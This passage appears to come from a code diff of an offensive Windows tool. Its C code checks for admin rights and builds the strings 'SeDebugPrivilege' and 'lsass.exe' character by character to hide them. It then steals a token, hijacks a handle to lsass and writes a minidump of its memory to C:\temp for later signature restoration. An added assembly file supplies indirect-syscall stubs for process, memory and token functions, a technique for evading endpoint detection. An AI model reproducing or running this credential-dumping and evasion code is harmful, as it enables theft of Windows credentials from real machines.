if (!CreateDirectoryW(L"C:\\temp", NULL)) {
printf("Create C:\\temp first\n");
return 1;
}
}
HANDLE hFile = CreateFile(filePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD bytesWritten = 0;
BOOL writeSuccess = WriteFile(hFile, dumpBuffer, bytesRead, &bytesWritten, NULL);
CloseHandle(hFile);
RtlSecureZeroMemory(dumpBuffer, dumpBufferSize);
HeapFree(GetProcessHeap(), 0, dumpBuffer);
wprintf(L"Run `restoresig.py` on %s\n", filePath);
}
else wprintf(L"Failed, %s", GetLastErrorMessage().c_str());
return isDumped;
}
int main() {
if (!YouMustBeThisTallToRide()) {
printf("Not Admin");
exit(11);
}
printf("PID: %i\n", GetProcessId(NtCurrentProcess()));
Gluttony();
const wchar_t PgbDeS[] = { L'S', L'e', L'D', L'e', L'b', L'u', L'g', L'P', L'r', L'i', L'v', L'i', L'l', L'e', L'g', L'e', L'\0' };
LUID luid = { 0,0 };
LookupPrivilegeValueW(NULL, PgbDeS, &luid);
ParseEAT();
const char elsauce[] = { 'l', 's', 'a', 's', 's', '.', 'e', 'x', 'e', '\0' };
HANDLE hToken = nullptr;
HANDLE hProcess = nullptr;
hToken = FindersKeepers(luid);
if (GetPromoted(hToken)) {
hProcess = HijackHandle(elsauce);
InvokeMiniDump(hProcess);
GetDemoted();
}
if (hToken) CloseHandle(hToken);
if (hProcess) CloseHandle(hProcess);
system("pause");
return 0;
}

100
src/syscalls.asm Normal file
View File

@ -0,0 +1,100 @@
.data
jumpAddress dq 0 ; Variable to hold address of 'syscall-ret' trampoline
.code
SetJumpAddress proc ; Function to set jumpAddress
mov [jumpAddress], rcx ; Assume the new address is passed in RCX
ret
SetJumpAddress endp
NtReadVirtualMemory proc
mov r11, [jumpAddress] ; Load indirect syscall address into R11 register
mov rax, [rsp+30h] ; Move syscall ID into RAX register
mov r10, rcx
jmp r11 ; Indirect syscall via jump to address stored in R11
NtReadVirtualMemory endp
NtWriteVirtualMemory proc
mov r11, [jumpAddress] ; Load indirect syscall address into R11 register
mov rax, [rsp+30h] ; Move syscall ID into RAX register
mov r10, rcx
jmp r11 ; Indirect syscall via jump to address stored in R11
NtWriteVirtualMemory endp
NtProtectVirtualMemory proc
mov r11, [jumpAddress] ; Load indirect syscall address into R11 register
mov rax, [rsp+30h] ; Move syscall ID into RAX register
mov r10, rcx
jmp r11 ; Indirect syscall via jump to address stored in R11
NtProtectVirtualMemory endp
NtOpenProcess proc
mov r11, [jumpAddress] ; Load indirect syscall address into R11 register
mov rax, [rsp+28h] ; Move syscall ID into RAX register
mov r10, rcx
jmp r11 ; Indirect syscall via jump to address stored in R11
NtOpenProcess endp
NtDuplicateObject proc
mov r11, [jumpAddress] ; Load indirect syscall address into R11 register
mov rax, [rsp+40h] ; Move syscall ID into RAX register
mov r10, rcx
jmp r11 ; Indirect syscall via jump to address stored in R11
NtDuplicateObject endp
NtQueryObject proc
mov r11, [jumpAddress] ; Load indirect syscall address into R11 register
mov rax, [rsp+30h] ; Move syscall ID into RAX register
mov r10, rcx
jmp r11 ; Indirect syscall via jump to address stored in R11
NtQueryObject endp
NtOpenProcessToken proc
mov r11, [jumpAddress] ; Load indirect syscall address into R11 register
mov rax, r9 ; Move syscall ID into RAX register. Syscall ID is fourth parameter passed. Assume it's in R9.
mov r10, rcx
jmp r11 ; Indirect syscall via jump to address stored in R11
NtOpenProcessToken endp
NtQueryInformationToken proc
mov r11, [jumpAddress] ; Load indirect syscall address into R11 register
mov rax, [rsp+30h] ; Move syscall ID into RAX register
mov r10, rcx
jmp r11 ; Indirect syscall via jump to address stored in R11
NtQueryInformationToken endp
NtAdjustPrivilegesToken proc
mov r11, [jumpAddress] ; Load indirect syscall address into R11 register
mov rax, [rsp+38h] ; Move syscall ID into RAX register
mov r10, rcx
jmp r11 ; Indirect syscall via jump to address stored in R11
NtAdjustPrivilegesToken endp
NtDuplicateToken proc
mov r11, [jumpAddress] ; Load indirect syscall address into R11 register
mov rax, [rsp+38h] ; Move syscall ID into RAX register
mov r10, rcx
jmp r11 ; Indirect syscall via jump to address stored in R11
NtDuplicateToken endp
NtQuerySystemInformation proc
mov r11, [jumpAddress] ; Load indirect syscall address into R11 register
mov rax, [rsp+28h] ; Move syscall ID into RAX register
mov r10, rcx
jmp r11 ; Indirect syscall via jump to address stored in R11
NtQuerySystemInformation endp
NtClose proc
mov r11, [jumpAddress] ; Load indirect syscall address into R11 register
mov rax, rdx ; Move syscall ID into RAX register. Syscall ID is second parameter passed. Assume it's in RDX.
mov r10, rcx
jmp r11 ; Indirect syscall via jump to address stored in R11
NtClose endp
NtSetInformationThread proc
mov r11, [jumpAddress] ; Load indirect syscall address into R11 register
mov rax, [rsp+28h] ; Move syscall ID into RAX register
mov r10, rcx
jmp r11 ; Indirect syscall via jump to address stored in R11
NtSetInformationThread endp
end